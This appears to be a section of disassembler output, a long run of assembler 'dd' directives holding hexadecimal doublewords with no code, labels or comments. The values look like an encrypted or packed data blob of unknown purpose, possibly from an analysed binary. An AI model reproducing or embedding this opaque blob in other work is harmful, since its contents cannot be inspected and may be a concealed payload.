		dd 3C910537h, 36EB1410h, 0E558271Ch, 2E27B5D0h,	0D9D23BCDh
		dd 0C050E37Ch, 5BF9214Eh, 30CEF401h, 5A80E195h,	6669EA2Ah
		dd 1ACEA134h, 502BD238h, 66037556h, 0A55F5BBDh,	9678FA8h
		dd 0DDF7C305h, 52E300FDh, 0C5ACE93Eh, 17310BFh,	9DC90EEh
		dd 2B414E74h, 6255CE89h, 5E8557E9h, 2ECE90Ah, 66981AC7h
		dd 94D3D758h, 44B7C025h, 42796031h, 0AE20C01h, 0D1CDCDAh
		dd 14021C08h, 0E1D15158h, 2F8BB1E9h, 2DD930AAh,	88257610h
		dd 221FD027h, 86CF8194h, 0E0F19668h, 0CA3E7425h, 85E9090Eh
		dd 2FEA7147h, 0E94109D9h, 0F92FCFA9h, 565C1624h, 6068DA8Ch
		dd 96B91ED8h, 60E5292Ch, 702A158h, 46E90CBEh, 0AE907D0Fh
		dd 5D626E68h, 0BA77159h, 0DB3976F6h, 0E9D39FC3h, 0EA396114h
		dd 0D6751771h, 5180FA50h, 0B2C9FF1h, 0CD294E9Dh, 15EEF8B8h
		dd 0A893052Ch, 62F84F3Bh, 0E8C45F8Eh, 0F1248864h, 0DC1A3C28h
		dd 217CDF80h, 2968CC0Eh, 2CFF65CFh, 7593CBD8h, 5E20601Ah
		dd 0B767F917h, 6ECC36C1h, 58707B10h, 0EEAFC7D2h, 584192D7h
		dd 5332A07Dh, 9470F468h, 0BFAC20C8h, 4B004F50h,	6658070Dh
		dd 3B390503h, 3502D02Fh, 0A1E4EB3Fh, 0F2276764h, 253D4687h
		dd 0B25DBBC0h, 0D866D533h, 0FAB95100h, 8164D43Ah, 2CC818C9h
		dd 2EC1E869h, 0D81E3212h, 0ECB204EFh, 0B9DDBEAEh, 0AD5F0629h
		dd 2FC04BA8h, 0E573456Ah, 0AADC60FEh, 9EC6B54Ah, 4012C74Fh
		dd 0F6BE5052h, 0D84B92F8h, 0B81503Fh, 0C127F6BDh, 0F2EDBC03h
		dd 0EFE90D0Ah, 0BA81DA2Fh, 5C8C13CBh, 1D685961h, 4CA9FB1h
		dd 0D40BFDAFh, 44852F16h, 62AEF005h, 595410B2h,	25AA6C75h
		dd 57998CA6h, 3A856A8Ah, 80DEF2FFh, 70ED6857h, 2B2C487Bh
		dd 174E6B10h, 0BFFCE6C0h, 0F0281A09h, 0EF0BFE82h, 8F542966h
		dd 3B4B6380h, 8C659444h, 8DD23CADh, 0B6AF4269h,	0A70B2EDAh
		dd 0F7258C48h, 0EC5B240h, 3679F424h, 0F613A025h, 3ECAAE77h
		dd 5E17291Eh, 307B385Bh, 822F44B0h, 517A114Dh, 9606F3E4h
		dd 11876230h, 23E130FFh, 667D82E8h, 437225FAh, 0D55B2899h
		dd 0ECE374CBh, 955F5240h, 0CC0ACB56h, 5316F9F4h, 106D1DC0h
		dd 0A1444AA6h, 5B070073h, 0C49F6C01h, 0E0E91238h, 827D35DDh
		dd 590276F8h, 52615687h, 801F45Dh, 0F425CDEBh, 842D1DC1h
		dd 0BC21892Fh, 0D1430903h, 4A8883E3h, 700B9B02h, 0A50E1D9Ah
		dd 4E5966Eh, 0C2097740h, 0D1DF5757h, 1EC30103h,	20FEBE1Fh
		dd 4B955F2Eh, 65C294E7h, 0AA02FF67h, 0BAFD6C4Bh, 0B2610F33h
		dd 106C79B1h, 58C04220h, 0AAAA35Ah, 89579589h, 68B055DCh
		dd 5E5F0FE9h, 0A519BED0h, 0BF89EA8Ah, 647688C2h, 368B5659h
		dd 0C2A7889Ah, 552B51h,	24748AD5h, 0D344FA03h, 0F0631608h
		dd 0E19FF765h, 2C7E5EDFh, 99DFA75h, 0F26DF51Ch,	0E0E2E986h
		dd 97F60729h, 0BE7ABA39h, 48EFB072h, 1F720D0Fh,	540028Eh
		dd 0D4FD618Ch, 0A04A1E78h
		dd 5397BFC6h, 32620816h, 2E3CBE07h, 8CB82510h, 9F3FF8F5h
		dd 782BE982h, 0B9EAD103h, 58668734h, 2EC08410h,	0E116ADF6h
		dd 237F0EFEh, 8263EB64h, 50E561CAh, 6A116804h, 134A0CB2h
		dd 5A42FB0Ah, 7FA499E9h, 0E2FAFCC6h, 5DD72980h,	2D008F5Ah
		dd 67C558D9h, 2387135h,	0F70502AFh, 5626DAF6h, 2392CB4h
		dd 21AA5CDFh, 5430F940h, 0FE7FF925h, 78B58303h,	0C024FA1h
		dd 3CB82F1Dh, 44034046h, 0C79C08D0h, 0E984F221h, 83BD3FD1h
		dd 7008C307h, 0DBF722C1h, 72698F61h, 0B76E075Fh, 0E1B5B34Ch
		dd 0FFEECB0h, 5ECC0C4h,	0FABBDD45h, 6D2E76B7h, 0EEA4A834h
		dd 0D46C5F88h, 6BD4BE40h, 325E6DADh, 88C266E5h,	0E98993FCh
		dd 0F71DE2B9h, 6805F5C7h, 0C68D06E7h, 8520E2Bh,	75E93AA2h
		dd 0AC583B58h, 3EDC2042h, 541ED9BBh, 0A057926Eh, 0B03B502Bh
		dd 16C03DF8h, 96BD7D25h, 0B49D6916h, 5B1E5556h,	80D247B2h
		dd 340CA1C6h, 8043BF64h, 0DE5AADCAh, 0A9B81118h, 5103E90Bh
		dd 0C0F03282h, 24021FE0h, 0A51755DAh, 5A9CBE02h, 615F29ADh
		dd 0AFF956EFh, 0FA4B8768h, 0A28298D4h, 315F026Bh, 2DED72FDh
		dd 0DB92E301h, 2F667A7Dh, 2AC8E1C1h, 413D6B39h,	9743AA37h
		dd 1D2050B8h, 807D9084h, 92B987D9h, 20C4B84Ah, 80176720h
		dd 42EA38C3h, 151684Fh,	0B132CFAEh, 82296F63h, 701C2720h
		dd 2D7C9518h, 0DB7C8B59h, 4539CD5Fh, 970BA9C4h,	2CFF09C4h
		dd 5B4ADDE6h, 2118788Eh, 2E2D752h, 505BD69Fh, 22CEA060h
		dd 5B9CC55Ah, 0BAD7C6BCh, 37A10F45h, 82828DEEh,	0F979BE06h
		dd 82B8787Eh, 2AD64407h, 0E84FDEh, 4963018Dh, 0EC1E681h
		dd 983D7C32h, 0E67709B2h, 71C424C1h, 575E8965h,	0F55BBA7Fh
		dd 7C028C65h, 89627B23h, 61328EF0h, 1EEB7FCCh, 14A8F1D8h
		dd 0BF3F5E34h, 0AB5A8212h, 328D95B3h, 98E36EDFh, 0CA517305h
		dd 6AC1BF6Eh, 0D82A3704h, 7B4CA612h, 0F821A1E8h, 846B48F5h
		dd 0F167BCA8h, 1620E1F7h, 0F58080CAh, 0EF28B206h, 0B7A85259h
		dd 36E728E8h, 85BE63DFh, 29C46E44h, 4D12A5E0h, 0A15F2728h
		dd 2D8CC45h, 0C004632Fh, 4E2A7658h, 2BF9445Fh, 58FB4C97h
		dd 44FD8249h, 6BB2657Dh, 0D4728353h, 6B58E791h,	0E9134CE8h
		dd 0BA175226h, 580BE1E3h, 0D1D4B450h, 0EF800A00h, 90FC08B1h
		dd 0A3C03068h, 2885C32h, 4E8043B7h, 23CBEE65h, 296F506Ah
		dd 0C050649Dh, 0CB134281h, 0CD80654Fh, 9DBA4A27h, 4B95EA80h
		dd 18C01A55h, 186614ACh, 2AD86089h, 3D0EFDC2h, 0C4AF464Ah
		dd 58080929h, 10E23A5Dh, 0D26CE596h, 2563F2BBh,	0A5D9D443h
		dd 0A325FB54h, 0BA5AB147h, 0F8717D3Dh, 0F6A5F59Fh, 11F173E6h
		dd 8AA32A7Fh, 2A4C7E10h, 0E8B746BDh, 27E95148h,	0C371276Eh
		dd 0E93DF469h, 905D504h, 0B1D9775Bh, 0D9BAD7ADh, 7B396758h
		dd 3A9B500Eh, 1B57802h,	0E868CDE9h, 0F05F54B0h,	0E3254E32h
		dd 11CB35A1h, 85ADD883h, 86FBB2FEh, 4E2AB42Ch, 8950E247h
		dd 5F3A623Ah, 0E95873D9h, 0E24F5BEFh, 2A921060h, 0AA43B213h
		dd 4C31DFF4h, 124EA0DDh, 9F98AE2Eh, 666A9F2Dh, 8E7D8377h
		dd 0EA284CD5h, 2240FE5Fh, 72840B27h, 52C2C131h,	6F70CB68h
		dd 4B00D1B6h, 33BA0254h, 6B4A95D9h, 5240F0A0h, 9B07C856h
		dd 0B2776242h, 0EE57EE35h, 0BC555EE9h, 0C729854Fh, 0D360EF04h
		dd 0FF92ABA8h, 17619805h, 57D62CFEh, 0E3F7E916h, 0E415C9EBh
		dd 1EC07798h, 8C06BCBBh, 0EBD11C05h, 0A30892C1h, 0D9290C9Fh
		dd 51AD7453h, 0A064422Eh, 0B14F0C3Eh, 55A2422Ah, 1C914180h
		dd 0FAD7F797h, 518FC0CEh, 58095950h, 9A608D68h,	56CA6AC3h
		dd 0EC9145E4h, 6BBA024Dh, 0F72A7E4Fh, 48F3FBE0h, 0DF485892h
		dd 423E7BCFh, 994BA899h, 795ACE40h, 0A2E4FF08h,	0BA12D34Ah
		dd 0DA40D52Eh, 6B324828h, 40B5A20h, 0D5036978h,	270827A8h
		dd 0E8B8A87Dh, 0CA197427h, 24802D51h, 1931DEBDh, 0A753C83Dh
		dd 0B9446116h, 29A3496Eh, 0E845BA02h, 0E46179F5h, 55F92ACh
		dd 20071CF5h, 0B80636D4h, 22661EEEh, 99B52796h,	7E158565h
		dd 0DC24759Eh, 0FCAF0233h, 0C8982DC7h, 0F8955251h, 0D5E23986h
		dd 4FEACAA8h, 8A1F8434h, 2DC61219h, 6882BEE9h, 23D47B27h
		dd 7C481360h, 0CBD8A042h, 0AB5613C3h, 0DF5EEE79h, 39559344h
		dd 0E2A101EEh, 0F07C036Bh, 0F5123EEEh, 0F4EF6689h, 0B102CD8Eh
		dd 7CE9EB06h, 0FF9077DCh, 797EB652h, 0FA69AACAh, 30FE2889h
		dd 0F4F72CE3h, 5AD1EBF0h, 0ACE8C8FDh, 6A2713E9h, 5FB2AAFFh
		dd 0B05A21D2h, 0A2F90766h, 0D55E3D42h, 3FA61547h, 0BD6D6858h
		dd 21138E5Bh, 0EEE98245h, 488148F0h, 0A61412CEh, 7806F172h
		dd 0F646155Fh, 0A92DA1F2h, 25CED6FFh, 0EA500D72h, 2500B498h
		dd 0F681517Bh, 7E2213A7h, 0E9F21E63h, 0A673A70Ah, 794D8C0Bh
		dd 65DECE8Fh, 1EA94775h, 0B3C32DE9h, 88B956E3h,	0C2B38016h
		dd 76AE3F0Bh, 17E29729h, 595D0802h, 0EE4F73E6h,	0C9BE3590h
		dd 46051409h, 1B05F14Eh, 0FB1E3603h, 0E8C1F480h, 8FA8D007h
		dd 0C56C6286h, 2EF7893Ch, 2DA6B274h, 2F1188h, 0C680CE86h
		dd 0A3A3FE7Ch, 325A54BAh, 0B7757402h, 40E38121h, 986CB977h
		dd 36DC2016h, 4AF55D4Eh, 0F22E9835h, 9EECC5F8h,	0B2BFDD94h
		dd 2C94974Bh, 3D64C1FBh, 0C781C81Fh, 0C1373209h, 204C5013h
		dd 40BDDBD2h, 1673ACEDh, 0EC5F20A2h, 4AE982B7h,	0E9187D7Ch
		dd 0A1BF5CBAh, 6CE66354h, 5F1E0D70h, 0EC09DD3Ah, 0CB9250CCh
		dd 44F6D75Ah, 13A4FC5Eh, 2DAB6A6Dh, 843A6DBCh, 290B4191h
		dd 0D64A0FF8h, 4400C9AFh, 0B4AC8404h, 7C97FEB0h, 27144AD8h
		dd 9887A704h, 0CABF5A9Fh, 13945781h, 0E9053C93h, 0DD11FE6h
		dd 0A16A67C7h, 12FF7854h, 415444DFh, 75E71E33h,	84EF06D6h
		dd 0A408102Ch, 0FE16929Eh, 28E5CA61h, 0ECD0DD3Fh, 9AA95A41h
		dd 0BFD944F7h, 0FA4B9CA2h, 90CAA812h, 9F062125h, 4298133Eh
		dd 2825BC0Bh, 2FD6783Bh, 90754CB1h, 1F99B229h, 95C4B450h
		dd 9F49B1B6h, 0F554A19h, 134F3ACAh, 29FB895Eh, 97CC699h
		dd 671363C3h, 0E2E27175h, 5D09DF1Dh, 4B0B62F8h,	550EF208h
		dd 4DE585h, 4F111DF6h, 4337E905h, 596B7D65h, 2670A571h
		dd 98947E20h, 0A78D2FA3h, 0A21511F7h, 5C7227FFh, 0E978C55Eh
		dd 3D4BB53Fh, 0FEF4A5B3h, 441A6D31h, 0BBC5CF69h, 0A98EC0Ch
		dd 7FE55EE9h, 0C052B380h, 2C5005EBh, 3585DB0h, 20C58058h
		dd 0EDABDD83h, 9084E6ADh, 0E8288206h, 0CEF3F659h, 88A073EAh
		dd 133DFCD6h, 0DD4662EBh, 310B33FBh, 37292AB4h,	74AA2D3Ch
		dd 96803C4h, 0BA0B36E3h, 0D1815F94h, 6873E94Ah,	92F45AEBh
		dd 0F97E1FD1h, 30876E38h, 1471BD1Ah, 0F839FE2Eh, 0C465B100h
		dd 0F0FD294Fh, 0D508A2EDh, 2E5DF7E1h, 697A6F98h, 0D9D5846Eh
		dd 0CEA44270h, 550094C6h, 8840E1BDh, 90E5C129h,	2F4EB00Bh
		dd 0ACE6C60h, 0E62587B0h, 42DC5102h, 51FEAEE9h,	641CDF2Fh
		dd 532FAC20h, 5A171D5Ch, 9E500B57h, 43DC5BA9h, 9A927670h
		dd 2E666438h, 0AC84D5DEh, 0AEC460DEh, 0B717C84Ah, 303D8A81h
		dd 0CDFA8EDEh, 4DA7E49Eh, 27DADEAh, 1E8C5223h, 34D0F729h
		dd 9A98DA84h, 0B471C200h, 0E9F0894Ah, 0ECBF4B54h, 7192B0A3h
		dd 0E9391BF4h, 6E03FB10h, 3F4BB6EDh, 58DDD261h,	423408A7h
		dd 80093102h, 56BB5F3Dh, 6B4E9FD9h, 2D5CB620h, 164713E3h
		dd 0D510AB38h, 16044807h, 45903A17h, 3675B0EEh,	0C8CA76C6h
		dd 79420882h, 792FC77Eh
		dd 525862B2h, 0E4CE0F0Bh, 0E61341F1h, 0B786543Fh, 554BE4Ch
		dd 5453E9CAh, 48D0A6BEh, 182F0113h, 0EFC16392h,	5FD82330h
		dd 85D8E9BCh, 0A3EFDD01h, 2FFED0C9h, 1EA27D2Eh,	18DF0ECBh
		dd 824B6068h, 0D88E6B75h, 0BF32A644h, 0F902F78h, 0E9A6DCB5h
		dd 915352D6h, 9D4979EDh, 6C220BE8h, 19DC9C57h, 552736BCh
		dd 7F253E47h, 714F90E5h, 0AFCF3734h, 0F4E150BCh, 9C342F18h
		dd 2D09A0EBh, 0A8C4CB9Dh, 0EDEA3CB8h, 5786727Bh, 3FC4943h
		dd 9A6D8E0Dh, 0FBE98442h, 0D311B2BBh, 0E9C5ABB6h, 5EA4E84Fh
		dd 0EAEB39BEh, 0C5D4C5F7h, 0BB3D715Ch, 740DE4C9h, 2620D990h
		dd 847BE48h, 91739C3h, 0BF1ADA0h, 0E1E4AEFh, 217021D6h
		dd 0AB5D4BE8h, 5593CBD2h, 70207D5Ah, 5039095h, 307617CEh
		dd 2079974Dh, 14F6C7DEh, 89089790h, 48771E59h, 1E5D1808h
		dd 850C3C1Ah, 0B2FE0147h, 18E9405h, 1261E1BBh, 65A0E968h
		dd 0EDB77E44h, 0C88AE9C2h, 31D5CAE9h, 43417FF7h, 4CF448C4h
		dd 0F94E5BEh, 2D772941h, 18F15ED9h, 4852CD97h, 17E41FA0h
		dd 0F97DD413h, 8B084142h, 57547070h, 59E79C18h,	28FB3AE1h
		dd 0E325E937h, 9173F983h, 5FFA6401h, 0CECA0ABEh, 0C94298D5h
		dd 56005250h, 0C555C668h, 4815E1Dh, 4660D7CEh, 9A20806Eh
		dd 1C483440h, 353D020Fh, 7F316393h, 0A400F466h,	5A2BEA67h
		dd 9748C5E9h, 7CE35F18h, 1CB8080h, 5EB25271h, 0CC07E2C0h
		dd 0E09008EAh, 71EFF65Eh, 36875ED5h, 6B8D1026h,	0B513583Bh
		dd 1CD56C2h, 0E3800817h, 860699D4h, 0C3E57B68h,	0E389E9F4h
		dd 4D84F24h, 2E04842Dh,	6388376h, 7B4180C0h, 131E3B7Dh
		dd 0F22DC9BCh, 9580E357h, 0ECB75352h, 0FEE0AEB6h, 0C6865B1Fh
		dd 6608D099h, 0CFC7B07Ah, 84E7E92Ch, 419182AFh,	0C130053Eh
		dd 2E785EB1h, 0B2BA0434h, 9D04921Eh, 2AB44C3h, 140C52EFh
		dd 0C5056DC4h, 0E2E8114Eh, 0F3900AD7h, 143D5h, 0AEBE563Eh
		dd 4E201F22h, 79F6F2A2h, 6431C681h, 0E940584Dh,	9B33FF8h
		dd 0ECC7E94Bh, 68892771h, 4D4DD5BAh, 61DCE905h,	90BA65F4h
		dd 0BDA324A2h, 60DE8E7Ch, 0DCBEF13h, 84B08B5Bh,	0BB175F10h
		dd 45130B16h, 0BE5FC4FBh, 0E909F38Eh, 7429D0D7h, 5580E7D6h
		dd 310D6E0Eh, 0B23A90D8h, 96C2BFEAh, 9808F0DDh,	543A096Ah
		dd 0B30F165Eh, 0DB182C62h, 88B392F0h, 61D4F42Fh, 2F52F568h
		dd 0CA8F5F32h, 30C774ACh, 10408556h, 0F801C016h, 12EAD108h
		dd 3505B05Eh, 0E5102C6Bh, 0B892A7C0h, 0D1587689h, 7E42AB18h
		dd 495CE95Ah, 0CB262B8Dh, 5A6D5A9Fh, 284E7525h,	0E7202A41h
		dd 28B009CBh, 0DD7486Fh, 0C480A448h, 31EA24DAh,	0E92FEF87h
		dd 591CE13Fh, 2331BB2Eh, 7D28771Ah, 6D7EA5C9h, 5AD12904h
		dd 4E9E6EB1h, 4984400Ah, 382FE997h, 9F7C7AAh, 5F40DA4Ah
		dd 0B5FB985Bh, 54968B9Fh, 0EA136E1Fh, 6B4D8391h, 0D101CC2Bh
		dd 0B801D894h, 65C12497h, 6A05F320h, 2360F9Bh, 69277F78h
		dd 8A038D6h, 6422F2A1h,	0F6FA4E04h, 0C9010B0Ch,	0E07AA271h
		dd 0E59350EFh, 563F13A0h, 6BB5C230h, 52849078h,	21196818h
		dd 82F998C5h, 5AEFDE5Dh, 47E45975h, 0AE6D69E8h,	7127DD0Ch
		dd 6E3D0DEBh, 2B0C6DEAh, 0A55C4F8h, 593DFF2Fh, 0D829217Ah
		dd 27590329h, 3F9884A6h, 5B81B24Ch, 0AD7E0CF9h,	9B1E02F1h
		dd 7F01A58Dh, 520A0D1Ch, 64C76E9h, 696CBB09h, 0D42C3C16h
		dd 0B6328BDFh, 56E41476h, 0F48B5DEDh, 5C2D5C5Eh, 6703D24Eh
		dd 2B039DACh, 0B152A4EAh, 93D6DA74h, 0E789DECFh, 0BF17BEECh
		dd 310EBF18h, 0E06B54BDh, 0DB6328BAh, 0C6E9220Ah, 2D939690h
		dd 357B66A9h, 0F4820CBh, 0A045133h, 0EEE8AADCh,	30F4BBB1h
		dd 0AF901AD8h, 2BC405D6h, 5A20C9C9h, 17EE0908h,	82DC29E5h
		dd 481889E4h, 0DB5B77FEh, 26FA2C83h, 177B290Dh,	6F5DD989h
		dd 0BE7C4E03h, 748E0549h, 0B818623Bh, 1CB1101Ah, 407BD4Ch
		dd 0B214C280h, 680142E0h, 5B6C48D9h, 7F277AC1h,	69D87F0Ah
		dd 0F606524Eh, 39E8810h, 0CB99BB35h, 4586D17Eh,	0AE890628h
		dd 585516A9h, 6F162DF5h, 0C605DF6h, 950D9E6Eh, 0CA09773h
		dd 42B40880h, 46A4097Ch, 7D9734ECh, 8BB71494h, 4254741Bh
		dd 0D7B4257h, 27F96885h, 0B34A48F2h, 34FA5FCDh,	5CBDBEB2h
		dd 0A22AC196h, 53A82F5Ah, 0FD42DAC9h, 5F697765h, 0E9548430h
		dd 4C803C4Ah, 332E4FBBh, 0F8BB07F3h, 0FB60918Ch, 41D3A427h
		dd 6FE08313h, 0AFE64FD1h, 2DC32B1Fh, 253105EEh,	0A5C29D22h
		dd 56707C75h, 6A0C6851h, 623F12FDh, 5A4AB3CFh, 8B9A51ECh
		dd 0AE98A7D5h, 59BB7789h, 9F1E2D64h, 11F0A05Ch,	5013D496h
		dd 87D1F613h, 0F23E5DEEh, 0D04EC9BFh, 78F6953Fh, 0EC55F659h
		dd 401F15F0h, 0FA4B8869h, 805BDDB2h, 519670Ch, 0CA810E1Fh
		dd 4ED06580h, 0C706E2C1h, 0E1AAC3Dh, 6F6CE113h,	0BAD25AB7h
		dd 9C550C8Eh, 822EBF2Bh, 305DB948h, 35BBA02h, 0AFC1079Ch
		dd 0E1F58181h, 1D857D13h, 0A6390270h, 69AAF0B3h, 0E65710CCh
		dd 9BCAA0E7h, 0F7C2E174h, 0F84D344Ch, 7CF95FE9h, 3BDBE9E0h
		dd 2F285ACh, 2D4F91B2h,	89FE1EFFh, 5B5E7B93h, 23BC2184h
		dd 8ABA9494h, 87BC932Bh, 0C1A8404Fh, 39611DDEh,	202E7495h
		dd 55D0EA08h, 70F6EF75h, 224160F3h, 10D2593Ch, 0C4277597h
		dd 5FFB405Bh, 0F0F6DD01h, 61AE5FD3h, 2726048h, 8348DF5Eh
		dd 2E1F22F5h, 1EDD1B12h, 31F9B5B3h, 0F7A17842h,	77A17ADFh
		dd 0FD47167Eh, 6862D8ACh, 14E2BAA9h, 7E4F4AE9h,	0E72CEEF5h
		dd 0EE099764h, 0A69515DFh, 31D00269h, 8F10D83h,	4CDB5D49h
		dd 66C30C3Ch, 69DC988Fh, 5B576625h, 0D22C4486h,	4CD86D83h
		dd 2BF532A1h, 9E1227CFh, 90F6AEA0h, 683966CCh, 9439452Fh
		dd 0C231B402h, 0D655A48Bh, 6F9AE9D3h, 0A7F7715Fh, 0FD52757Ch
		dd 0D18455CCh, 9570DE95h, 5D0C815Bh, 35E8D2F7h,	0F4C2EB1Fh
		dd 54B67F89h, 0EE38E9AAh, 31813E15h, 4BBBC22Eh,	414FD4D2h
		dd 0F3C4EFF2h, 108FED64h, 0D004D8Bh, 6E70444Fh,	302E0C1h
		dd 59320A35h, 858F455h,	772F9519h, 999D2A16h, 707F31F0h
		dd 1856E973h, 0B8D4F680h, 88512815h, 0EBE8E694h, 73EC386Bh
		dd 0CB808AA8h, 0E3C08816h, 0A3B1A402h, 0D102C330h, 0A43B5BDAh
		dd 32CBFFFDh, 0E24CF7C9h, 0B9471534h, 32950BBAh, 31CE34E9h
		dd 62D92CADh, 0A259E12Ah, 605BDD93h, 2D10AF50h,	0FD020962h
		dd 0F5418CF4h, 40B3B7Eh, 0A8130443h, 1B84CE0h, 78912B80h
		dd 2603E8C1h, 0B9BD050Ah, 1E0C63Ah, 2D4F3EE4h, 0D406BD4Ch
		dd 0C3F7E4Ah, 0D5EEA009h, 35E3E0E2h, 805E121Ah,	0CD12FF54h
		dd 852FB4FAh, 18B3A604h, 0BCBA38E9h, 5AB74F90h,	0ABA2BAD3h
		dd 29FD22D7h, 5A0BDE55h, 2076645Fh, 583B674Ch, 0BEA6A457h
		dd 3174B8B0h, 29451670h, 82D10CDh, 9A6AFB40h, 9B9078C4h
		dd 283FA13Dh, 0E8D6B598h, 0F1AC752Dh, 4B798E18h, 3E22FE6Eh
		dd 0D514B70Ah, 8C8B3717h, 0F204C06h, 64055C71h,	143CE72h
		dd 0E4934BECh, 0C241D783h, 0D46CE001h, 97860078h, 54BF0E23h
		dd 6E13EBBh, 7E75689Fh,	7C14A2A4h, 99DD9D73h, 0B3AC99Ah
		dd 168931C2h, 0F02F64F4h, 6CEA065Dh, 0C2EBC64h,	23B7CB5h
		dd 2361E95Bh, 5998B8D1h, 38DE8811h, 0F027585Bh,	25EF8A49h
		dd 1FB97B86h, 0EFA7E9B1h, 55F68960h, 0DDB951h, 89671A37h
		dd 0D1C2E9CDh, 5127991h, 5F72E2AAh, 0EE7912FEh,	56000EF3h
		dd 0C83BD7BEh, 0F628813Ah
		dd 0C50406D3h, 2D612F75h, 83B50BAh, 30D55E2Fh, 9EADE933h
		dd 0DD680413h, 0C4C8BC72h, 9AFE4932h, 685B04F5h, 31BB0C21h
		dd 9D648CBEh, 58CBD111h, 0CE2F9067h, 93219C2Fh,	0FBBE95FDh
		dd 92BEAAD4h, 857F6DB5h, 0F6BA5706h, 17357E98h,	4F804271h
		dd 62BDFC60h, 6F416601h, 0A4625E07h, 0C25D07AFh, 548449C3h
		dd 7FDBEE4h, 99ADA25Eh,	8004A65Ch, 0A2696E03h, 100C3260h
		dd 2D38DD4Eh, 550B7BE9h, 5F0744D7h, 1FA2A80Dh, 5B05F928h
		dd 291FC830h, 0F61F69D1h, 12A284FDh, 708BEB01h,	0ED5AE938h
		dd 985A4DF4h, 5FFBE28h,	0E92F5122h, 749DFC5Dh, 0BF0D3FCh
		dd 0BC4B544Eh, 7F6AFDD5h, 0A1514575h, 8561238h,	0BCA04669h
		dd 0B89E9698h, 8BFE5292h, 0F8DD763h, 0EE4B313Ch, 4AE37368h
		dd 3E688D65h, 0B651F2DDh, 21017D9Ah, 4A6148C2h,	99DDCB8h
		dd 0ED5EF822h, 800E4D28h, 0F66971E6h, 0AE103DD6h, 6866AC03h
		dd 0AFA62FE2h, 8057B100h, 0E9D006C1h, 0CC03E4C0h, 0E7160206h
		dd 0D9B0E9A1h, 0EBAF42F1h, 6855B7A0h, 0DC255F24h, 519C577Fh
		dd 0A22E916h, 43F0F44Eh, 40D0F7C6h, 0B870808h, 10EA68F5h
		dd 85193EDDh, 92BEAAD8h, 0F97D22EFh, 20FCB03h, 5B4B3F09h
		dd 57DE00C4h, 0E6403568h, 4AB05FFCh, 59274802h,	84F8899Eh
		dd 712958Fh, 192926CAh,	0D03BEA0h, 8F274E98h, 1D185E2Bh
		dd 0D2EA6508h, 0E342F655h, 9C3B12FBh, 0BABC2447h, 0A1685180h
		dd 0B4203763h, 4F9700E4h, 0F9090EDDh, 40AC5F4Eh, 7F376FB1h
		dd 8BDE00FCh, 0E8F63C9Fh, 93C66BC2h, 48C1CA13h,	0B34B9AFh
		dd 810F826Fh, 0A163E02h, 0D61AFCF6h, 187AF795h,	5825D495h
		dd 4C1763EFh, 0F475821h, 4F32D925h, 25CBF46Dh, 0C253C224h
		dd 5C000668h, 0A87C0B68h, 139FB824h, 0ED0C6420h, 0E0EB0260h
		dd 7D422A6Ch, 80640EAh,	78595850h, 50E04B75h, 0A3274A92h
		dd 495F79F7h, 9966021Eh, 0A5DE990Bh, 0AD0256A0h, 82A913A6h
		dd 579CEFFDh, 0F5697CF4h, 0E3896C15h, 7014552Eh, 883D9780h
		dd 1618BD80h, 7595643h,	301C3C28h, 40F9E935h, 37AC649Fh
		dd 0C20E5120h, 23FF1FC7h, 225C759Ch, 0B904BC17h, 23A2E698h
		dd 3B65682h, 0D490EA88h, 5903665Ah, 0D09AE480h,	9427AFECh
		dd 0E903F480h, 0B562B513h, 0E1C20174h, 20945266h, 0EEFD0ADFh
		dd 0E4EF77DEh, 0D2A72A0Eh, 0FC3AB212h, 0C580018Ah, 0D87E91Ch
		dd 90DF45A0h, 0A8C95F0Fh, 2CE8C447h, 6661B800h,	25244577h
		dd 4B389E14h, 48414A8h,	3C4CED6Eh, 0BC82D2Bh, 262FF8FAh
		dd 0C969C101h, 4DE0D355h, 10984E50h, 0EE5BCF97h, 35993954h
		dd 45BF29DAh, 0BF5EF176h, 0B44EC3B7h, 5040C005h, 274377B7h
		dd 4BC86F64h, 1D0B6689h, 54D14F77h, 0A8023F29h,	0DF29CEABh
		dd 0E9179770h, 0EC271F24h, 0E1D37192h, 6378E623h, 3F666809h
		dd 0F2751B7Dh, 9FCC504Eh, 0DBFAD474h, 42CA080Fh, 6A8FB900h
		dd 2810966h, 250FF3C9h,	0B989C139h, 60E220FDh, 0C1694338h
		dd 26509D0Ch, 0D57D7093h, 4E3F7E09h, 0A824201h,	0C316AB08h
		dd 3E4E98E8h, 4CD252DAh, 83880B0Ch, 806FC56Dh, 0C91BF02Dh
		dd 9A09055Ch, 0F2C247Eh, 50079404h, 8B4001B7h, 0D75E955Ah
		dd 13EA63C4h, 20C56978h, 0FCBDE64Dh, 0B17865A0h, 9270536h
		dd 599050C0h, 3FB12AE5h, 13B15694h, 7AC92902h, 0B1CB5E2Ch
		dd 0A80A7D24h, 43B6C4A7h, 51A0EAB8h, 882868B5h,	2320ABEBh
		dd 0FD2D5B3Dh, 8F024A58h, 80854006h, 340EC7E2h,	296E3BBFh
		dd 34081C68h, 6B14101Ch, 2136A10h, 0CBFC6DBBh, 40E48FF9h
		dd 161935Eh, 9F4A2DDh, 0A0E4D508h, 2EBE660Eh, 70B89652h
		dd 0BE5822Eh, 0EADF56B5h, 0A0D7F948h, 8A749DB0h, 0E90CBC20h
		dd 0C032076h, 0F14F12B4h, 141ED40Eh, 14418308h,	55900B6Fh
		dd 8004FF7h, 0F72D5D3Ch, 95F1CB2h, 0E8C95FA7h, 6BEDC436h
		dd 2B61E0C2h, 0FC8882DEh, 342C030Ch, 0D828621Dh, 0FCF176B8h
		dd 6F9E4F4Dh, 21FB38B5h, 8166A1E7h, 6E88C9E7h, 31EC08B5h
		dd 9C34B2BEh, 5629C98Eh, 0E9C7D97Fh, 17202286h,	6013F670h
		dd 21EFAA35h, 25448C0Ch, 10E0284Fh, 2112B6B9h, 93D70AF0h
		dd 21C292C2h, 2289E56h,	0B589EE54h, 65101168h, 0C5B651B5h
		dd 6CC1C2DEh, 0F77A8FDCh, 2D1711C0h, 1433943Fh,	613F1h
		dd 6705E3C7h, 90CF013Ch, 0D5088246h, 82D559B2h,	0C8A829F5h
		dd 0BD1C4F6Dh, 0FC2FE1F3h, 6EE9F009h, 0B0A03DD3h, 0C5585C35h
		dd 0F261A780h, 0A50B0510h, 0D70683DDh, 4F1FDC22h, 0DC68A3A1h
		dd 7F89D16Bh, 0B98069F8h, 69034F3Ah, 0C9CF4150h, 96FCB005h
		dd 0F90BCB01h, 4983C855h, 1FE8014Eh, 5D684258h,	0A797883Bh
		dd 2FD62C9Ah, 0EF80C25Eh, 90AA16Ch, 0A3E8EF47h,	37393053h
